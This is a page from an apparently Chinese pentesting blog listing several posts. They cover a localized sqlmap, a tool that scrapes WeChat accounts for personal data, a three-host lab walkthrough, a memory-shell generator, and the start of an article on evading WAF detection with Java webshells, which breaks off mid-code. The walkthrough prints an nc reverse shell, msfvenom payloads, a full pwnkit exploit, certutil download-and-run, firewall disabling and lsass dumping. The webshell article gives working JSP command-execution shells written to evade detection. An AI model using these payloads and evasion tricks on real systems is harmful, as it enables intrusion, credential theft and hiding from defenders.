首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,395 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,045 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,151 阅读
4
几个常见的密码字典推荐
3,170 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,159 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
Web安全
网络安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
白小羽
累计撰写
184
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
184
篇与
的结果
2026-05-20
2026最新sqlmap汉化版下载,教学必用!
这次汉化的比较全面,免费分享,之前流传的中文版本已经非常老了,还系统不兼容,现在是26年最新版本的sqlmap,版本号1.10.5.3首先就是使用示例:我搜集了各种常用的sqlmap命令,直接举例在了帮助界面中,这样就能直接复制粘贴,再也不用手动敲命令了帮助界面汉化另外对于一些细节也做了汉化处理对于注入类型也进行了汉化处理,以及操作系统识别,web识别,后端识别等等表数据获取--os-shell获取方式,给我赚个转存费就行(无夸克链接,只有百度):通过网盘分享的文件:工具专区 链接: https://pan.baidu.com/s/1XUsii27r3js5InpM5cQziw 提取码: yqwy
2026年05月20日
657 阅读
0 评论
0 点赞
2026-05-13
WxProbe,一款自研的公众号敏感信息收集工具
此工具的灵感主要是源于一次北京红队金融项目,在公众号这块的信息收集实验比较少,要手动一个一个公众号去翻,特意写的一个工具这个工具主要用于敏感信息收集工具,专注于微信公众号文章批量获取与 AI 智能分析。通过 Token 登录微信公众平台,批量抓取指定公众号发布的历史文章,利用 DeepSeek AI 识别手机号、身份证、邮箱、车牌号、密码等等敏感信息。以及公司关联信息,公司注册资金、统一信用代码,法定代表人,股东结构等等信息(AI生成的结果,仅供参考)注:此工具仅限于学习使用,请勿用于非法用途,若造成不良后果,与工具开发者以及泷羽Sec安全团队无关,请自行承担相应的法律责任,此工具禁止逆向源码,一旦发现,后果自负,若需要源码二开,可以自行联系工具作者一次性买断(白菜价)。技术架构WxProbe ├── WeChatLogin # Token + Cookie 登录管理 ├── ArticleFetcher # 文章列表获取 + 正文抓取 │ ├── scrapling # headless 隐身模式(反爬) │ └── requests # 保底方案 ├── SensitiveInfoAnalyzer │ ├── _regex_scan # 正则快速扫描(手机号/身份证/邮箱/IP等) │ └── analyze_single # DeepSeek AI 深度分析 ├── WechatSogouAPI # 搜狗微信搜索(可选) └── ShadowEyeApp (UI) ├── 公众号情报 Tab ├── 搜狗搜索 Tab ├── URL 抓取 Tab └── 设置 / 导出 模块 功能 🔐 公众号情报 Token 一键登录 → 搜索公众号 → 多页爬取文章 → AI 分析 → 导出报告 🔎 搜狗搜索 无需登录,直接搜索微信文章 → 一键抓取 → AI 分析敏感信息 📎 URL 抓取 粘贴微信文章链接(单条/批量),抓取正文并用 AI 分析 🤖 AI 分析 DeepSeek + 正则双引擎:手机号、身份证、邮箱、IP、银行卡、密钥等 使用教程打开微信公众平台扫码登录登录后复制token复制cookie复制到这上面来输入之后就能登录成功尝试搜索公众号默认是五页选择自己要爬取的公众号后点击爬取刚开始是没有敏感信息的,需要手动点击是否进行AI分析,这里使用的AI是deepseek需要在系统设置,设置自己的apikey和模型名称AI分析完成后,可以在敏感信息中看到常见的手机号、身份证号、姓名、邮箱、地址、IP地址、银行卡号、网站链接/域名、密码/密钥/Token、组织机构代码、车牌号、QQ/微信号、其他PII等等,对于公司信息会调出企业工商信息,比如(注册资金,实缴资本、统一社会信用代码、注册时间等等工商信息,以及公司结构)这对于公众号这块的信息来讲是非常的有用的中国债卷尝试若您对结果不满意,可以导出功能,自行对数据进行分析2、信息收集部分,本工具已绕过搜狗反爬功能,您可以通过搜狗搜索引擎,搜索到微信公众号相关文章,利用AI进行敏感信息分析,和前面一样比如邮箱、手机号等等信息,为了稳定请不要频繁点击某一个功能,耐心等待工具执行(若数据量较大可能要等待10分钟、一小时),在此期间可以双击某一个文章查看文章详情注意:对于搜狗搜索引擎,单个文章建议请抓取一次即可,不要重复抓取,否则极易促发反爬。3、若您已经拥有了一定数量的公众号相关的URL,则可以使用URL抓取功能例如https://mp.weixin.qq.com/s/caVRY62bhNZm5Ri81oqUwghttps://mp.weixin.qq.com/s/hcB1m6tmDFfx9PA7rNzOZA注意:对于某号文章爬取,可全面绕过,稳定爬取,无需担心被拦截,但需要确保你已成功登录工具获取方式,扫描下方二维码加入freebuf知识大陆即可获取,仅需79此时加入,可获取香港免备案服务器一个月使用权(配置:4核心 4GB 硬盘:40G 带宽:10Mbps 峰值 流量:无流量限制),限时到2026年6月1日之前,之后不再赠送注:服务器使用需要实名,介意的话可以忽略赠品常见问题Q: 搜狗搜索提示验证码拦截? 先执行一次搜索(让系统建立 session),搜索成功后 session 会缓存,后续抓取会复用该 session。Q: URL 抓取按钮一直"分析中"? 需要先在「公众号情报」tab 完成登录。如果已登录仍卡住,可能是网络问题,2 分钟超时后会自动恢复。Q: 分析结果为空或"未获取到正文"? scrapling 可能被反爬。程序会自动降级到 requests + BeautifulSoup 保底方案。如仍失败,检查文章链接是否有效。
2026年05月13日
937 阅读
0 评论
1 点赞
2026-05-06
vulntarget-c 内网靶场渗透实战:从外网到跨网段提权拿下三台主机
前期环境配置在开始渗透测试前,我们需要先调整靶场虚拟机的网络模式,将ubuntu20虚拟机切换为nat模式,确保所有靶场机器和测试主机处于同一内网网段,方便后续的流量通信和操作。第一阶段:外网打点与初始shell获取1、内网活跃主机探测渗透测试的第一步是定位目标所在的活跃主机,我们在测试终端执行arp-scan扫描命令,快速扫描当前局域网内的所有设备:arp-scan -l 执行后我们很快定位到了目标主机的IP地址:10.30.7.55。2、全端口扫描与服务识别接下来我们使用nmap工具对目标主机进行全面的端口和服务扫描,使用半开放扫描模式避免被目标防火墙拦截,同时提速扫描效率:nmap -sS -p- -A 10.30.7.55 -T4 扫描结果显示80端口(HTTP服务)和22端口(SSH服务)处于开放状态,同时我们还获取了目标主机的系统版本、运行的Web框架等基础信息。3、漏洞信息收集通过扫描结果我们确认目标运行的是Laravel Web框架,结合公开的漏洞库信息,该版本的Laravel存在CVE-2021-3129远程代码执行漏洞,该漏洞可以通过特定的接口请求实现未授权的代码执行。4、漏洞验证与利用该漏洞的触发条件是向/_ignition/execute-solution接口发送恶意POST请求,当页面返回500状态码且出现file_get_contents相关错误时,即可确认漏洞存在。我们构造了如下的HTTP请求包:文章参考:laravel RCE(cve-2021-3129)复现 - Running_J - 博客园POST /_ignition/execute-solution HTTP/1.1 Host: 10.30.7.55 Content-Type: application/json Content-Length: 168 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "jack", "viewFile": "jack1" } } 5、获取反向shell我们可以使用公开的exp脚本进行快速利用expcuongtop4598/CVE-2021-3129-Script: Add revert shell首先需要根据目标系统的架构调整脚本内容修改源码,uname -a判断为系统类型为x64,并且wget命令存在首先我们生成针对linux x64架构的反弹shell木马:msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.128 lport=4444 -f elf > shell.elf 其中lhost是我们的本地监听IP,lport是自定义的监听端口。为了让目标主机可以下载我们生成的木马我们在本地开启了简易的HTTP文件共享服务,将当前目录作为共享目录。之后我们在目标主机执行修改后的下载命令,将木马文件下载到本地临时目录。接下来我们执行反弹shell命令,建立和本地监听终端的连接:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.30.7.128 4444 >/tmp/f 继续修改文件,分别写入如下命令,依次执行chmod +x /tmp/shell.elf /tmp/shell.elf 执行之前,新开一个终端,打开msfmsfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.30.7.128; set LPORT 4444; exploit -j -z" 上线之后能看到第二个网卡为10.0.20.1416、权限提升成功拿到低权限shell后,我们需要进一步提升权限获取root访问权限。首先我们上传linpeas.sh脚本到目标主机,该脚本可以自动扫描主机上的潜在漏洞和配置错误:upload linpeas.sh shell python3 -c 'import pty;pty.spawn("/bin/bash")' chmod +x linpeas.sh ./linpeas.sh 扫描结果显示目标主机存在CVE-2021-4034(pwnkit)漏洞,这是一个pkexec的本地权限提升漏洞,可以让普通用户获取root权限。我们使用公开的poc脚本进行提权:#!/usr/bin/env python3 # poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys # hardcoded amd64 lib from ctypes import * from ctypes.util import find_library import os import zlib import base64 import tempfile payload = zlib.decompress( base64.b64decode( """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""" ) ) libc = CDLL(find_library("c")) libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p) libc.execve.restype = c_ssize_t wd = tempfile.mkdtemp() open(wd + "/pwn.so", "wb").write(payload) os.mkdir(wd + "/gconv/") open(wd + "/gconv/gconv-modules", "w").write( "module UTF-8// INTERNAL ../pwn 2" ) os.mkdir(wd + "/GCONV_PATH=.") os.mknod(wd + "/GCONV_PATH=./gconv") os.chmod(wd + "/GCONV_PATH=.", 0o777) os.chmod(wd + "/GCONV_PATH=./gconv", 0o777) os.chmod(wd + "/pwn.so", 0o777) os.chdir(wd) cmd = b"/usr/bin/pkexec" argv = [] envp = [ b"gconv", b"PATH=GCONV_PATH=.", b"LC_MESSAGES=en_US.UTF-8", b"XAUTHORITY=../gconv", b"", ] cargv = (c_char_p * (len(argv) + 1))(*argv, None) cenv = (c_char_p * (len(envp) + 1))(*envp, None) libc.execve(cmd, cargv, cenv) 执行该脚本后我们成功获取到了root权限,同时发现目标主机存在第二块网卡,IP地址为10.0.20.141,说明目标主机处于另一个内网网段,需要进行横向移动渗透。第二阶段:内网横向移动渗透1、配置路由与网段扫描我们需要将msf的流量转发到新发现的10.0.20.0/24网段,以便扫描该网段内的其他主机。首先我们配置路由规则,将该网段的流量通过当前的shell会话转发。接下来我们使用msf的端口扫描模块扫描该网段内的活跃主机:ping内网主机发现,仅仅显示本机的第二张网卡ipfor i in {1..254}; do (ping -c 1 10.0.20.${i} | grep "bytes from" | grep -v "Unreachable" &); done; tcp扫描,发现内网主机ip10.0.20.100,说明目标机器禁了ping或者开启了防火墙use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.20.0/24 set PORTS 22,80,135,139,445 run 2、访问Web后台与漏洞发现我们访问10.0.20.100的80端口,发现是一个企业内部的后台管理系统尝试使用常见的弱口令组合admin/admin123成功登录后台管理界面。在service list中的编辑按钮,能找到数据包,对其进行SQL注入检测,发现其可能存在SQL注入漏洞并且站点跟目录为\xampp\htdocs\ovas\3、SQL注入获取webshell我们使用sqlmap工具对该注入点进行检测,首先确认当前数据库用户权限:sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --current-user 尝试直接获取webshell,发现是系统权限sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --os-shell 成功获取到了windows主机的系统权限shell,我们查看系统架构确认是64位系统,systeminfo 接下来生成对应的反弹shell木马:msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe 传马到第一台机器中开启文件共享4、免杀木马与上线我们将生成的木马文件上传到目标主机的web目录下,尝试使用certutil命令下载并执行:windows机器从这台linux中下载文件certutil -urlcache -split -f http://10.0.20.141:8000/shell.exe shell.exe 准备上线上线失败,被杀加免杀,生成shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f c --encrypt base64 替换shellcode打包pyinstaller -F -w Bypass_AV.py 继续上传此时没有被杀,但是没有上线,大概率防火墙没关关闭防火墙netsh advfirewall set allprofiles state off 正常上线第三阶段:拿下第三台靶场主机1、内网信息收集与网段扫描成功获取windows主机权限后,我们进行内网信息收集,发现该主机处于工作组环境,没有域控制器。接下来我们扫描10.0.10.0/24网段,发现10.0.10.110主机仅开放22端口,大概率是linux服务器。发现另一个网段机器内网信息收集,发现并没有域环境,是一个工作组ping主机探测,发现内网第三台服务器,通过ttl为64可以看出目标机器大概率是linux服务器for /l %i in (1,1,255) do @ping 10.0.10.%i -w 1 -n 1 | find /i "ttl" msf添加路由run post/multi/manage/autoroute 端口扫描,仅开放22端口use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.10.110 set PORTS 22,80,135,139,445 run 2、爆破登录与凭据获取我们尝试使用之前获取的凭据登录该linux主机,但是全部失败。于是我们使用hydra工具进行弱口令爆破,最终得到登录密码Admin#123,成功登录该主机。抓取系统hashload kiwi creds_all 修改注册表reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 再次抓取,也失败creds_all 离线导出procdump.exe -accepteula -ma lsass.exe demo.dmp 开启http服务传到本地,使用本地的mimikatz加载明文密码使用mimikatz抓取明文密码,发现系统并没有保存密码在这个文件中,原因就是系统没有本地登录或者远程登录过,所以无法获取用户登录的凭据mimikatz.exe sekurlsa::minidump demo.dmp sekurlsa::logonpasswords full 直接爆破得到密码Admin#123 开启远程服务C:\xampp\htdocs\ovas\admin\services>netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 Ok. C:\xampp\htdocs\ovas\admin\services>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f The operation completed successfully. 使用默认的远程连接工具连接不上,rdesktop 不支持 CredSSP使用下面这个工具xfreerdp /u:Administrator /v:10.0.20.100 /cert:ignore 3、获取最终权限我们在windows主机的远程连接工具中发现了该linux主机的另一个用户凭据,密码为vuln@qwe,使用该密码我们成功登录并获取了该主机的最高权限,拿下了最后一台靶场机器。在文件管理中发现了这个远程连接工具查看旁边的10.0.10.110直接双击就能远程连接在linux中找了大半天信息,没有任何东西,直到在这个工具中发现这个用户的密码vuln@qwe拿下最后一台机器
2026年05月06日
848 阅读
0 评论
0 点赞
2026-04-30
MemShellParty 一款主流 Web 中间件内存马生成工具
本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击、渗透测试等行为均属违法,使用者需自行承担相应的法律责任。工具简介MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,专为安全研究人员与红队攻防人员打造,核心目标是简化内存马载荷的生成流程,大幅提升漏洞验证与攻防实战的工作效率。核心特性全场景强兼容全面覆盖攻防场景下各类常见中间件与框架,JDK 版本适配范围覆盖 JDK6 ~ JDK21,可满足不同环境下的实战使用需求。高可用稳保障针对所有支持的中间件与框架,搭建了完整的自动化测试矩阵,严格保障每一次生成的载荷都具备极高的可用性与稳定性,最大程度杜绝实战场景中的不确定性。极致轻量化优化基于深度优化的字节码生成策略,MemShellParty 实现了内存马体积的大幅缩减:常规内存马体积相较于 JMG 等传统工具缩小 30%,Agent 内存马通过 ASM 技术实现了 80% 的体积优化。无侵入无干扰生成的内存马对目标中间件的正常业务流量无任何影响,即使同时注入十几个不同类型的内存马,也不会干扰目标服务的正常运行。一键化傻瓜操作内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成能力,系统可自动适配 Java 模块限制绕过配置,动态生成最优攻击载荷,实现常规漏洞载荷的一键生成。高灵活自定义扩展原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等主流工具的内存马生成;同时提供高度灵活的自定义内存马上传能力,可将任意定制化载荷融入 MemShellParty 的生成体系,打造贴合自身战术需求的攻击平台。快速使用使用前必读工具内置的探测马已完成服务类型的一一对应,探测所得的服务类型即为可生成对应内存马的服务类型(非中间件原生类型,例如 Apusic10 探测结果为 GlassFish,因其基于 GlassFish 进行二次开发)。在线尝鲜提示:仅限尝鲜使用,对于公网暴露的非官方服务请谨慎使用,避免生成的内存马被植入后门。 正式稳定版(master 分支):https://party.mem.mk ,每次 Release 都会自动部署最新镜像。 开发预览版(dev 分支):https://dev-party.mem.mk ,可抢先体验正在开发的新功能。 本地部署(推荐)适合内网环境或本地测试使用,可通过 Docker 一键启动服务,部署完成后访问 http://127.0.0.1:8080 即可使用。# Docker Hub 源,拉取最新镜像 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest # Github Container Registry 源,拉取最新镜像 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest # 国内网络优化,南大 Github Container Registry 镜像源 Docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
2026年04月30日
736 阅读
0 评论
0 点赞
2026-04-16
30种Java一句话木马免杀方法
前置合规声明本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养,严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为,任何未授权在他人Web容器/服务器中植入恶意代码的行为,都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试,使用者需自行承担违规使用带来的全部法律责任。java一句话木马免杀的底层逻辑java Web一句话木马的核心,是通过可控的用户输入,调用java代码执行/系统命令执行机制,实现远程命令执行、文件管理等操作。而WAF/EDR对java一句话木马的查杀,核心围绕5个维度展开: 静态特征匹配:检测Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合; 语义分析:识别「用户可控输入→反射调用→命令执行」的恶意执行链路; 字节码检测:扫描JSP编译后的Servlet字节码,识别恶意类/方法调用; 行为检测:运行时检测动态类加载、进程创建、文件读写等恶意行为; 沙箱动态分析:将JSP/Class放入沙箱运行,捕获恶意行为特征。 所有免杀方法的核心本质,都是破坏WAF的检测维度:要么拆分/隐藏敏感类名、方法名,要么打乱执行链路,要么利用java合法语法/业务逻辑伪装恶意行为,要么直接操作字节码隐藏特征,最终实现「静态无特征、语义无恶意、行为无异常」。本文所有免杀方法均适配java 8+主流版本(兼容java 11/17),覆盖Tomcat、Jetty、WebLogic等主流Web容器,按「新手入门→进阶混淆→极致免杀」的梯度排序,每一种方法均标注核心原理、实战代码、适配环境与避坑提示,拿来即可落地。30种java一句话木马免杀方法第一类:基础关键词拆分与字符串变形免杀(方法1-5)核心逻辑:把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段,运行时再拼接还原,直接破坏WAF的连续字符串特征匹配,新手零门槛上手。方法1:字符串简单拼接免杀免杀原理:将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段,运行时拼接还原,绕过WAF对连续关键词的匹配。 实战代码(JSP形式):<%@ page import="java.lang.Runtime" %> <% String cls = "Run" + "time"; String m1 = "get" + "Runtime"; String m2 = "ex" + "ec"; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:不要直接线性拼接,可插入无关字符串再替换,例如String cls = "Run#time"; cls = cls.replace("#", "");,免杀效果更强。方法2:字符串逆序免杀免杀原理:把敏感类名、方法名逆序处理,运行时通过StringBuilder.reverse()还原,静态扫描无法直接匹配到正向的敏感关键词。 实战代码(JSP形式):<% String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序 String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序 String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序 Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合Base64编码逆序,双重变形绕过深度特征匹配。方法3:数组下标取值免杀免杀原理:把敏感类名、方法名拆分为字符数组,通过指定下标取值拼接,WAF很难匹配数组内的零散特征。 实战代码(JSP形式):<% char[] clsArr = {'R','u','n','t','i','m','e'}; char[] m1Arr = {'g','e','t','R','u','n','t','i','m','e'}; char[] m2Arr = {'e','x','e','c'}; String cls = ""; String m1 = ""; String m2 = ""; for(int i=0;i<clsArr.length;i++) cls += clsArr[i]; for(int i=0;i<m1Arr.length;i++) m1 += m1Arr[i]; for(int i=0;i<m2Arr.length;i++) m2 += m2Arr[i]; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可在数组中加入大量无关字符,打乱敏感字符的顺序,再通过指定下标取值,免杀效果翻倍。方法4:大小写混淆+动态转换免杀免杀原理:Java类名、方法名区分大小写,但可以通过Character.toUpperCase()/toLowerCase()动态调整大小写,打乱固定的关键词格式,绕过WAF对固定大小写的匹配。 实战代码(JSP形式):<% String clsRaw = "rUnTiMe"; String m1Raw = "gEtRuNtImE"; String m2Raw = "eXeC"; // 动态调整为正确的首字母大写/小写 String cls = Character.toUpperCase(clsRaw.charAt(0)) + clsRaw.substring(1).toLowerCase(); String m1 = Character.toLowerCase(m1Raw.charAt(0)) + m1Raw.substring(1); String m2 = m2Raw.toLowerCase(); Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:仅适用于基础WAF,需配合其他变形方法使用,单独使用免杀效果有限。方法5:Base64编码拆分免杀免杀原理:把敏感类名、方法名、命令做Base64编码,拆分为多个片段后拼接解密,绕过WAF对Runtime.getRuntime().exec()固定组合的查杀。 实战代码(JSP形式):<%@ page import="java.util.Base64" %> <% String cls = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); // "java.lang.Runtime" Base64 String m1 = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ==")); // "getRuntime" Base64 String m2 = new String(Base64.getDecoder().decode("ZXhlYw==")); // "exec" Base64 String cmd = new String(Base64.getDecoder().decode(request.getParameter("c"))); Class<?> c = Class.forName(cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, cmd); %> 使用方式:客户端提交的c参数需先做Base64编码 适配环境:Java 8+(Base64类在Java 8引入,旧版本可用sun.misc.BASE64Decoder) 避坑提示:不要直接使用Base64.getDecoder().decode("...")拼接完整类名,必须拆分编码过程,避免被WAF识别固定解码模式。第二类:反射机制混淆免杀(方法6-10)核心逻辑:Java反射是免杀的核心武器——它可以动态加载类、调用方法,代码中没有直接的Runtime.getRuntime().exec()调用,完全破坏WAF的静态特征匹配与语义分析链路,是实战中最常用的免杀方案。方法6:基础反射调用免杀免杀原理:利用Java反射机制,通过Class.forName()加载类、getMethod()获取方法、invoke()调用执行,隐藏直接的函数调用特征。 实战代码(JSP形式):<% try { Class<?> runtimeCls = Class.forName("java.lang.Runtime"); Object runtimeObj = runtimeCls.getMethod("getRuntime").invoke(null); runtimeCls.getMethod("exec", String.class).invoke(runtimeObj, request.getParameter("cmd")); } catch (Exception e) { e.printStackTrace(); } %> 适配环境:全Java版本+主流Web容器 避坑提示:不要直接写完整的反射链路,需配合字符串拆分、编码变形,避免被WAF识别反射调用特征。方法7:反射拆分+无关代码干扰免杀免杀原理:把反射的加载、获取方法、调用拆分为多个独立步骤,中间插入大量无关的业务代码(比如字符串处理、数学计算),干扰WAF的语义分析,隐藏恶意执行链路。 实战代码(JSP形式):<% // 插入无关代码:字符串处理 String test = "test" + Math.random(); test = test.toUpperCase(); // 插入无关代码:数学计算 int a = 1 + 2; double b = Math.sqrt(a); // 第一步:加载类 Class<?> c = Class.forName("java.lang.Runtime"); // 插入无关代码:数组操作 int[] arr = {1,2,3}; int sum = arr[0] + arr[1]; // 第二步:获取getRuntime方法 java.lang.reflect.Method m1 = c.getMethod("getRuntime"); // 插入无关代码:日期处理 java.util.Date d = new java.util.Date(); // 第三步:调用getRuntime获取对象 Object obj = m1.invoke(null); // 第四步:获取exec方法 java.lang.reflect.Method m2 = c.getMethod("exec", String.class); // 第五步:调用exec执行命令 m2.invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:无关代码要尽量真实,比如模拟日志记录、参数校验,避免被WAF识别为无意义干扰。方法8:反射数组变形免杀免杀原理:把要调用的方法名、参数类型存入数组,通过循环遍历数组获取方法、调用执行,结构更复杂,WAF更难识别恶意执行逻辑。 实战代码(JSP形式):<% String[] methods = {"getRuntime", "exec"}; Class<?>[] paramTypes = {null, String.class}; Class<?> c = Class.forName("java.lang.Runtime"); Object obj = null; for(int i=0;i<methods.length;i++){ if(i == 0){ obj = 